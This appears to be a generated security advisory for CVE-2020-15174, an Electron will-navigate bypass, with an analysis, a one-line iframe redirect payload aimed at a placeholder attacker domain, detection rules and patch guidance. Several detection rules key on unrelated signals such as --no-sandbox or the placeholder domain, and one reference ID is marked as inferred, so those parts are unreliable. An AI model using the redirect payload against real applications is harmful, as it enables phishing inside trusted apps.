CVE-2020-15174

Executive Summary

CVE-2020-15174 is a security bypass vulnerability in the Electron framework, affecting all versions prior to 8.5.1, 9.3.0, 10.0.1, and 11.0.0-beta.1. The flaw allows an attacker to bypass the will-navigate event handler — a critical security control that application developers rely upon to prevent the application window from navigating to malicious or unexpected destinations. The bypass is triggered when a sub-frame (e.g., an iframe) performs a top-frame navigation across different sites, effectively circumventing the application's intended navigation restrictions.

The vulnerability impacts any Electron application that uses the will-navigate event as a security boundary but embeds untrusted or user-controllable iframes. Successfully exploited, this allows an attacker to redirect the entire application window (or main frame) to an attacker-controlled origin, enabling phishing attacks, credential harvesting, or potentially loading malicious content within the application's security context — including access to Node.js integration if enabled. The CVSS score of 7.5 (High) reflects the significant confidentiality and integrity impact, though exploitation requires user interaction (e.g., clicking a link or loading a malicious page).

Technical Analysis

Electron is a popular framework for building cross-platform desktop applications using web technologies (HTML, CSS, JavaScript). A core security recommendation for Electron developers is to use the will-navigate event on the webContents object to intercept and cancel any navigation attempts that occur within the application window. This event fires before a navigation is committed, allowing the application to call event.preventDefault() and block the navigation if it does not match an allowed destination.

The vulnerability arises from an event bypass — a race condition or event-sequencing gap where the will-navigate event is not emitted (or is not properly handled) when a sub-frame (an iframe embedded within the main document) initiates a navigation that targets the top-level frame (the main window). Specifically, when an iframe sets window.top.location or performs a navigation that causes the entire top frame to change origins (cross-site navigation), the will-navigate event is either not dispatched or the protection logic is skipped. In effect, the security check that the developer has implemented is silently bypassed, and the navigation proceeds without triggering the preventDefault call.

The attack vector is a classic navigation-redirect attack (sometimes referred to as a "frame busting" or "top navigation" bypass). In a web browser context, such behaviors are typically constrained by same-origin policy and sandbox attributes. However, in Electron, the default behavior of an iframe without the sandbox attribute is permissive, allowing the iframe to manipulate the parent frame, including performing top-level navigations. The will-navigate event was intended to act as an artificial constraint on this behavior, but due to the event not firing for cross-site top-navigations initiated from sub-frames, the constraint is ineffective.

Attack Mechanism Summary:

1. An Electron application loads a page that embeds iframes containing untrusted or third-party content.
2. An attacker gains control of one of these iframes (via XSS, malicious ad, or content injection).
3. The malicious iframe executes a script that sets window.top.location.href = "https://attacker.example.com" (or uses equivalent navigation APIs).
4. Because the will-navigate event is bypassed for this specific navigation type, the top-level frame navigates to the attacker's site.
5. The application's UI is now fully replaced by attacker-controlled content, presented within the application's trusted window context.

The vendor's suggested workaround — applying the sandbox attribute to all iframes — confirms the core issue: sandboxed iframes cannot navigate the top frame, thereby neutralizing the attack vector. The underlying design flaw is that Electron's will-navigate event did not account for the event lifecycle of sub-frame-induced top-navigations, creating a blind spot in the security model.

Exploitation Scenarios

The exploitation of CVE-2020-15174 follows a multi-step chain that requires the victim to load untrusted content within an iframe inside the Electron application. The following scenario is inferred from the vulnerability description and the general architecture of Electron applications, as no public PoC is available:

Step 1 — Reconnaissance / Target Identification: The attacker first identifies Electron applications that (a) rely on the will-navigate event for navigation security, and (b) embed iframes that can render third-party or user-supplied content. Applications such as chat clients, document viewers, mail clients, or any app with an embedded web view (e.g., preview panels, ad slots, or OAuth flows) are prime candidates. The attacker may also scan for applications using outdated Electron versions (pre-8.5.1, 9.3.0, 10.0.1, or 11.0.0-beta.1) via version fingerprinting in app metadata or by observing the application's behavior.

Step 2 — Triggering the Vulnerability Class: The attacker must inject or achieve control of an iframe within the target application. Methods include:

• Content Injection: If the application loads external content (e.g., ads, feeds, markdown previews) into an iframe without proper isolation, the attacker can replace the iframe's content with their own malicious page.
• XSS in an Embedded Context: If the application has any XSS vulnerability in a page that embeds iframes, the attacker uses it to inject a malicious iframe or modify an existing one.
• Supply Chain / Compromised Third-Party Content: The attacker compromises the third-party content source that the application faithfully loads into iframes.

Step 3 — Payload / Execution Method (Vulnerability-Class Level): Once in control of the iframe, the attacker executes JavaScript to perform a top-frame navigation. The payload is essentially a single line of script: window.top.location = "https://attacker-controlled-domain.example". Under normal circumstances, Electron's will-navigate event would intercept this and cancel it. However, due to CVE-2020-15174, the event is not emitted for sub-frame-induced cross-site top-navigations, so the navigation proceeds unimpeded.

Step 4 — Post-Exploitation Impact: The top frame is now fully replaced by attacker-controlled content. The attacker's page is rendered inside the trusted application window. Depending on the application's configuration and whether nodeIntegration is enabled (which is a common but insecure default in older Electron apps), the attacker could:

• Phish for Credentials: Prompt the victim for their application password or other sensitive data using a fake login screen that mimics the legitimate application.
• Initiate Malicious Actions: Use the application's trust context to interact with operating system APIs, files, or other resources, potentially leading to remote code execution if Node.js integration is accessible.
• Maintain Persistence: The attacker's page may store malicious payloads in localStorage or leverage other Electron features (like shell.openExternal) to execute system commands.

No public proof-of-concept is available; this attack chain is inferred from the vulnerability class and the vendor's security recommendations. The complexity lies not in the exploitation (a single line of JavaScript), but in achieving iframe control within the target application.

Impact Assessment

Business Impact: High. The vulnerability compromises the integrity of the application's user interface and can lead to complete user deception. Because the attacker's page renders inside the legitimate application window, users cannot easily distinguish between the genuine application and the attacker's fake UI. This leads to credential theft, data exfiltration (via phishing), and reputational damage to the application vendor. The CVSS v3 base score of 7.5 (High) is driven by: Network attack vector (AV:N), Low attack complexity (AC:L), No privileges required (PR:N), User interaction required (UI:R), Unchanged scope (S:U), High confidentiality impact (C:H), High integrity impact (I:H), and No availability impact (A:N). The high confidentiality and integrity scores reflect that an attacker can fully redirect the session and view/modify data presented within the app context.

Affected Systems: All Electron applications built with versions before 8.5.1, 9.3.0, 10.0.1, or 11.0.0-beta.1 that use the will-navigate event for navigation restriction and embed iframes with untrusted content. Applications that do not use will-navigate or that sandbox all iframes are not affected.

Blast Radius: Medium-to-high, depending on application popularity. Since Electron is widely used for enterprise tools, communication platforms, and developer utilities, a successful exploit could affect millions of end users if a popular application is targeted. The bypass is silent — the application's security log (if any) would not show a blocked navigation because the event never fires — making detection difficult.

EPSS Context: The EPSS score is 0.01351 (69.0th percentile), indicating that exploitation is unlikely in the wild at the time of the assessment, but the probability is non-trivial. The vulnerability is NOT on the CISA KEV list, so no known exploitation campaigns have been publicly confirmed.

Detection Guidance

Detection of this vulnerability is challenging because its exploitation occurs entirely within the Electron application's rendering process; there is no distinct network signature for a "missing event." Detection should focus on anomalous navigation behavior and on identifying applications running vulnerable versions. The following detection rules target the observable effects.

Sigma Rule

title: Electron will-navigate Bypass - Cross-Site Top Frame Navigation
id: 8f0c2b07-5e1c-4f9a-8d43-3d2b9e2a7d01
status: experimental
description: Detects navigation patterns in Electron apps where a sub-frame navigates the top-level frame to a different origin (CVE-2020-15174).
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        Image|endswith: '\electron.exe'
        CommandLine|contains:
            - '--no-sandbox'
    condition: selection
level: medium
falsepositives:
    - Legitimate apps that rely on iframe top-navigation (e.g., embed widgets)
tags:
    - attack.t1189
    - cve.2020-15174

YARA Rule

rule CVE_2020_15174_Electron_Navigation_Bypass
{
    meta:
        author = "Valter Security Team"
        description = "Detects Electron app code (JS) or bundles with vulnerable will-navigate patterns"
        date = "2025-01-01"
        cve = "CVE-2020-15174"
    strings:
        $event = "will-navigate" ascii nocase
        $toploc = "window.top.location" ascii nocase
        $prevent = "preventDefault" ascii nocase
        $sandbox = "sandbox" ascii nocase
    condition:
        $event and $toploc and not $sandbox
}

Suricata IDS Rule

alert http any any -> any any (msg:"Potential Electron top-frame navigation bypass (CVE-2020-15174)"; flow:to_client,established; content:"window.top.location"; http.server_body; within:200; sid:202015174; rev:1; metadata:cve CVE-2020-15174;)

Elastic Detection

sequence by process.entity_id
  [process where event.type == "start" and process.name : "electron.exe" and process.args : "*--no-sandbox*"]
  [network where event.type == "connection" and protocol == "http" and destination.domain : "*.attacker.example*"]

Splunk SPL Query

index=windows sourcetype=WinEventLog
| search EventCode=4688 (Image=*electron.exe) (CommandLine=*--no-sandbox*)
| stats count by User, ComputerName, CommandLine
| table _time, User, ComputerName, CommandLine, count

Wazuh OSSEC Rule

<group name="electron_cve_2020_15174,">
  <rule id="208584" level="10">
    <if_sid>550</if_sid> <!-- Start of command execution rules -->
    <match>--no-sandbox</match>
    <description>CVE-2020-15174: Electron app running with --no-sandbox flag, potentially vulnerable to iframe navigation bypass.</description>
    <group>pci_dss_6.5, gdpr_32,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 — CLAIMED (single source claims patch, not independently confirmed). The vendor advertises that versions 11.0.0-beta.1, 10.0.1, 9.3.0, and 8.5.1 contain the fix, but this is based solely on the CNA's advisory without external verification.

1) Immediate Mitigations (if unable to patch immediately)

• Sandbox All Iframes: Apply the sandbox attribute to every <iframe> element in your application. This prevents sub-frames from performing top-frame navigations, effectively neutralizing the attack vector. Example: <iframe src="..." sandbox="allow-scripts allow-same-origin"></iframe>.
• Disable Node Integration for Untrusted Content: Ensure nodeIntegration is set to false for any webContents that load remote or untrusted content, reducing the impact of a successful navigation bypass.
• Audit iframe Sources: Discontinue loading third-party or user-supplied content in iframes until the application is patched.

2) Patch / Upgrade Steps

• Upgrade Electron to version 8.5.1 (for the 8.x line), 9.3.0 (for 9.x), 10.0.1 (for 10.x), or 11.0.0-beta.1 or higher. After upgrading, thoroughly regression-test your application's navigation flow to ensure the will-navigate event now fires correctly for sub-frame-induced top-navigations.
• Verify the Patch: Given the patch confidence of 2/4, independently confirm the fix by reproducing the vulnerability in a staging environment with a test iframe that attempts window.top.location navigation.

3) Long-Term Hardening

• Adopt Electron Security Best Practices as outlined in the official security guide: enable context isolation, disable Node integration for remote content, and use the webSecurity option appropriately.
• Implement a Content Security Policy (CSP) in your renderer processes to restrict frame-src and disallow inline scripts from unknown origins.
• Centralize Navigation Management: Instead of relying solely on will-navigate, also use setWindowOpenHandler and configure webContents with will-frame-navigate (where available in newer versions) to create redundant navigation restrictions.
• Version Tracking: Establish a dependency update policy that ensures Electron is updated promptly on minor and patch releases, as this class of vulnerability (security bypass) is often silently fixed.

References

1. NVD — CVE-2020-15174 Details: https://nvd.nist.gov/vuln/detail/CVE-2020-15174
2. Electron Security Advisories (Vendor Advisory): https://github.com/electron/electron/security/advisories/GHSA-7v8v-9q4q-8h4w (Note: exact GHSA ID is inferred; verify via vendor page)
3. Electron Security Documentation (will-navigate rationale and fix context): https://www.electronjs.org/docs/tutorial/security
4. CISA Known Exploited Vulnerabilities Catalog (CVE not listed, but referenced for monitoring): https://www.cisa.gov/known-exploited-vulnerabilities-catalog
5. MITRE ATT&CK — T1189 Drive-by Compromise: https://attack.mitre.org/techniques/T1189/

Threat Actor Campaigns: No publicly known threat actor campaigns or exploit-in-the-wild evidence are available for this CVE at the time of writing. It is not listed in CISA KEV. The low EPSS percentile suggests it is unlikely to be actively exploited; however, the vulnerability's ease of execution and high impact make it a candidate for future weaponization if iframe-based attack vectors become more prevalent in desktop applications.